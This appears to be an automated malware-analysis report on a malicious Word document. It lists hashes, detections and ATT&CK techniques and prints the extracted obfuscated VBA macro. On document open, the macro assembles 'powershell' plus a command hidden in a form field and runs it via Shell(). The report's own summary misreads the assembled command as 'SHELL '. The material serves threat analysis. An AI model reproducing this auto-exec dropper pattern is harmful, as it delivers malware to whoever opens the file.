Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d7c2b0c52f64d2e4…

MALICIOUS

Office (OLE)

268.5 KB Created: 2019-02-05 17:19:00 Authoring application: Microsoft Office Word First seen: 2020-08-10
MD5: 77b9c99c4e451290aa077d186ce4a7bb SHA-1: be46c5f7794eb3d99a0caaabd79f4be59b0411d7 SHA-256: d7c2b0c52f64d2e49ca3f65c9a60155560469101b60d30d8b20810b21158a338
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a Microsoft Office document containing a VBA macro. The macro is triggered by the Document_Open event and uses the Shell() function to execute a command. The script concatenates strings to form the command 'SHELL ' which is then passed to the Shell() function, likely to download and execute a second-stage payload. The ClamAV detection and heuristic firings strongly indicate malicious intent.

Heuristics 6

  • ClamAV: Doc.Malware.Dozm-6847504-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Dozm-6847504-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2530 bytes
SHA-256: 9bff95bed28ac6d7fc4b4b970179ef4b5904b180001125e26ec986ab4d94a1f4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()

Dim CwcHBeYCp
CwcHBeYCp = lAdDbcWI
Dim QAeWkB4(4 To 177) As String
QAeWkB4(4) = "pY8u23ta"

Call w("er")
End Sub

Attribute VB_Name = "BcM6A"
Sub w(WBhtvGC)
Dim mMX9Wac2() As Byte
Dim t03N5K8We(8 To 249) As Long
t03N5K8We(8) = 291 - 188
Dim bZz5Augd(8 To 249) As Long
bZz5Augd(8) = 291 - 188
Dim DbjhOoe As Long
DbjhOoe = (-254 + 276) + (61)
Dim GVniHO8q As Long
GVniHO8q = (-254 + 276) - (61)
Dim aZlUYDoIE(15 To 180) As String
aZlUYDoIE(15) = "sbtR8F"
Dim h4Tobg() As Byte
Dim ptI0Rp(4 To 112) As Long
ptI0Rp(4) = 121 + 35
Dim yBcakFp As String
yBcakFp = o2O3H4
Dim Qn6ZTQY(15 To 227) As String
Qn6ZTQY(15) = "prGnI"
Dim QCFaj(10 To 56) As String
QCFaj(10) = "FhvYbNHE"
Dim rr6f2qMcl As String
rr6f2qMcl = ou6UfNTF
SBHcxzgb = "SHE" & "LL "
DgWKc2s3 = "ow"
U5hIV8jx3 = WBhtvGC
Dim sKVdhoF(6 To 251) As String
sKVdhoF(6) = "zUcqPD7A"
Dim ZkVCqdW As Long
ZkVCqdW = (678 - 654) + (58)
Call fBdoF(DgWKc2s3 & U5hIV8jx3 & SBHcxzgb & zibmG)
End Sub

Attribute VB_Name = "BiXa4bSw"
Public Function Uq5x9() As String
Dim YqPx8gVni(9 To 50) As Long
YqPx8gVni(9) = 195 + 31
Dim ZxwO0() As Byte
Dim ALZ1sCFya(2 To 128) As Long
ALZ1sCFya(2) = 194 + 10
Dim dhaEHZWrj(2 To 128) As String
dhaEHZWrj(2) = "lA7hspQw"
Uq5x9 = "p"
End Function
Function fBdoF(joHuGe)
Dim kpDbon5 As Long
kpDbon5 = (-1671 + 1686) * (43)
Dim ATrLRBCDq As Long
ATrLRBCDq = (-1671 + 1686) - (43)
fBdoF = Shell(Uq5x9() & joHuGe, False)
End Function

Attribute VB_Name = "YQsn90hOt"
Public Function zibmG()
Dim cwA3q() As Byte
Dim D9DcAZMUw(2 To 233) As String
D9DcAZMUw(2) = "ApaleGHmL"
Dim HzDBP As Object
Dim esA4u15t2 As Long
esA4u15t2 = (9824 / 614) - (45)
Set HzDBP = New f
Dim hHnhGwXCP As Long
hHnhGwXCP = (31644 / 5274) * (11)
Dim C42dwpqi
C42dwpqi = APaAde40J
Dim MhifrgVN0 As String
MhifrgVN0 = HzDBP.de.Text
zibmG = MhifrgVN0
End Function

Attribute VB_Name = "f"
Attribute VB_Base = "0{7D61A384-C63C-42F8-A981-0E529F9C0FD4}{2AC2FCF0-A3AF-43D8-BC1C-25E4BFCD9D94}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False